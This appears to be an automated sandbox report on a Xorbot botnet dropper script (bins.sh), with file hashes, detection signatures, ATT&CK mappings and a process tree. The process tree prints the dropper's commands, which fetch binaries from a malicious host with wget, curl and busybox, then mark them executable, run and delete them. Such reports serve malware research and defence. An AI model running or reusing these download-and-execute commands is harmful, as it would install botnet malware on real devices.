xorbot | 9c31af54755c806ba2a6ca6be76f4a977073dee261c317d46baeb7bb7713e9b3

Analysis

max time kernel
144s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
12/02/2025, 14:17

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General

Target
bins.sh
Size 10KB
Sample250212-rlq6lsvmep
SHA256 9c31af54755c806ba2a6ca6be76f4a977073dee261c317d46baeb7bb7713e9b3
MD5 09db9188b0653dadb678af426588f079
SHA1 b049a01be1f6999544ac46b2d33b673db2bfe361
SHA512 b6656f4a97494393892fb0862432f61becd28d72a343a792f1e5ea3bd6f6bbc2b29c60dd5c0eaabfba8272b33c494947cde520d6f34c5d91772bc776b9e5a6f0
SSDEEP 96:Yj/EaLgcfAwLaoakaeN9WLLnZHbNjuebBi6YDVD1DrUL7X3KCCUEIERLNiN6NHSX:RaTxi7spJrUin8qKgpJrk
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-4.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
819	chmod
830	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb	820	bins.sh
/tmp/uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex	831	bins.sh

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
837	busybox
719	wget
806	curl
818	busybox
823	wget
829	busybox
835	curl
827	curl
834	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb	busybox
File opened for modification	/tmp/uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex	wget
File opened for modification	/tmp/uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex	busybox
File opened for modification	/tmp/0J2aBxpKK1DLfe94PJWShnmoQ9TvQmLRxH	curl
File opened for modification	/tmp/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb	wget
File opened for modification	/tmp/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:719
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:806
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
  ./mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
  2⤵
  PID:820
- /bin/rm
  rm mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
  2⤵
  PID:822
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:823
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:827
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod 777 uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex
  ./uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex
  2⤵
  PID:831
- /bin/rm
  rm uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex
  2⤵
  PID:833
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0J2aBxpKK1DLfe94PJWShnmoQ9TvQmLRxH
  2⤵
  - System Network Configuration Discovery
  PID:834
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0J2aBxpKK1DLfe94PJWShnmoQ9TvQmLRxH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0J2aBxpKK1DLfe94PJWShnmoQ9TvQmLRxH
  2⤵
  - System Network Configuration Discovery
  PID:837

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

0J2aBxpKK1DLfe94PJWShnmoQ9TvQmLRxH

Path /tmp/0J2aBxpKK1DLfe94PJWShnmoQ9TvQmLRxH
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

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mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb

Path /tmp/mdXXmP96IK3tSjsF8ObkR9sDpqNHOqDYzb
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex

Path /tmp/uiSPWpnRFC2tw4UpLSUpi4O9SCAuPIw0ex
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads